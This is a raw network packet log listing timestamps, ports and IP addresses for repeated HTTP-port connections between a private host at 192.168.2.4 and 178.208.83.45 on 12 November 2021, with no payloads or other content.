Nov 12, 2021 22:23:57.676836967 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676877975 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676898956 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676918983 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676938057 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676955938 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676971912 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.676975012 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.676995993 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.677040100 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.677057028 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.677071095 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.680387974 CET	80	49975	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.680599928 CET	49975	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.699419022 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699448109 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699460030 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699471951 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699485064 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699497938 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699511051 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699520111 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699528933 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699536085 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.699537992 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699573994 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699584007 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.699616909 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.699635983 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699645042 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.699692011 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699709892 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.699748039 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699752092 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.699760914 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699775934 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699789047 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699820995 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.699821949 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699835062 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.699862957 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.699889898 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.699920893 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.722023010 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722057104 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722070932 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722079992 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722094059 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722104073 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722134113 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722146034 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722157955 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722171068 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722182035 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722188950 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.722193956 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722235918 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722238064 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.722250938 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722264051 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722325087 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722337008 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722347021 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722358942 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722372055 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722383976 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722397089 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722408056 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722421885 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722456932 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722470999 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722485065 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722501040 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722527981 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722585917 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722605944 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722619057 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722630978 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722665071 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722676039 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722685099 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722696066 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.722744942 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.744590044 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.744618893 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.744679928 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.744733095 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.744769096 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.744894028 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.744939089 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.744946957 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.744976997 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.744991064 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.745002985 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.745016098 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.745028973 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.745040894 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.747344971 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.749094963 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.801731110 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.827413082 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.828331947 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.944627047 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.945142984 CET	49975	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.946526051 CET	49977	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.967072010 CET	80	49976	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.967406988 CET	80	49975	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.967596054 CET	49976	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.968828917 CET	80	49977	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.968899012 CET	49975	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.968986034 CET	49977	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.970316887 CET	49977	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:57.992624044 CET	80	49977	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.995024920 CET	80	49977	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:57.995186090 CET	49977	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.112299919 CET	49977	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.115751028 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.134804010 CET	80	49977	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.134949923 CET	49977	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.138200045 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.138322115 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.138899088 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.161237001 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.164282084 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.164467096 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.178031921 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.178155899 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.186304092 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.186649084 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.200515032 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.208864927 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.208900928 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.208909988 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.208925009 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.208937883 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.209187984 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.209286928 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.231785059 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.231813908 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.231827021 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.231839895 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.231853962 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.231865883 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.231878042 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.231889009 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.231900930 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.231911898 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.232085943 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.232177973 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.232300997 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.254616976 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.254640102 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.254656076 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.254669905 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.254714966 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.254730940 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.254781008 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.254827976 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.254834890 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.254838943 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.254852057 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.254972935 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.255026102 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.255038977 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.255073071 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.255177975 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.277333975 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.277364969 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.277373075 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.277381897 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.279544115 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.279690027 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.287002087 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.288204908 CET	49980	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.309451103 CET	80	49978	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.309581041 CET	49978	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.310503006 CET	80	49980	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.310617924 CET	49980	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.312207937 CET	49980	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.334629059 CET	80	49980	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.337903976 CET	80	49980	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.338104010 CET	49980	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.457918882 CET	49980	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.459700108 CET	49981	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.480453968 CET	80	49980	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.480546951 CET	49980	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.482312918 CET	80	49981	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.482465029 CET	49981	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.493805885 CET	49981	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.516349077 CET	80	49981	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.520597935 CET	80	49981	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.521039009 CET	49981	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.629612923 CET	49981	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.652344942 CET	80	49981	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.652441978 CET	49981	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.652837038 CET	49982	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.675417900 CET	80	49982	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.675554991 CET	49982	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.679101944 CET	49982	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.702173948 CET	80	49982	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.704658985 CET	80	49982	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.704756975 CET	49982	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.814860106 CET	49982	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.816621065 CET	49983	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.837661982 CET	80	49982	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.837747097 CET	49982	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.838979959 CET	80	49983	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.839126110 CET	49983	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.839951038 CET	49983	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.862533092 CET	80	49983	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.865799904 CET	80	49983	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:58.865907907 CET	49983	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.980269909 CET	49983	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.981604099 CET	49984	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:58.983849049 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.004457951 CET	80	49983	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.004627943 CET	49983	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.005486012 CET	80	49984	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.005639076 CET	49984	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.006320000 CET	49984	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.006758928 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.006882906 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.007424116 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.007577896 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.007826090 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.008116961 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.029274940 CET	80	49984	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030303001 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030436039 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030769110 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030772924 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030793905 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030808926 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030826092 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030884981 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.030926943 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030931950 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.030946016 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030962944 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030977964 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.030989885 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.030992985 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.031023026 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.031033993 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.031045914 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.033370972 CET	80	49984	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.033447027 CET	49984	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.053985119 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054013968 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054032087 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054049015 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054064989 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054076910 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.054080963 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054097891 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054115057 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054148912 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.054179907 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054193020 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.054222107 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054239035 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054250002 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.054255962 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054270983 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.054272890 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054290056 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054306984 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054312944 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.054339886 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.054359913 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.054435968 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054451942 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054467916 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054482937 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.054497957 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.054527044 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.054558039 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.078077078 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078109026 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078125000 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078140974 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078155994 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078174114 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078191996 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078207970 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078223944 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078227043 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.078238964 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078257084 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078274012 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078277111 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.078284979 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078296900 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.078300953 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078316927 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078332901 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078350067 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078366995 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078382969 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078398943 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078414917 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078430891 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078447104 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078461885 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078478098 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078495026 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078511000 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078527927 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078545094 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078558922 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078574896 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078589916 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078604937 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078624010 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078639030 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078655005 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078671932 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.078685999 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.101751089 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.101804972 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.101823092 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.101838112 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.101959944 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.102119923 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.103496075 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.103652954 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.142946959 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.168920994 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.170099974 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.287465096 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.287970066 CET	49984	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.289148092 CET	49986	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.311639071 CET	80	49986	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.311759949 CET	49986	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.312237978 CET	80	49984	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.312256098 CET	80	49985	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:59.312773943 CET	49984	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.312827110 CET	49985	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.314810038 CET	49986	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:59.337225914 CET	80	49986	178.208.83.45	192.168.2.4
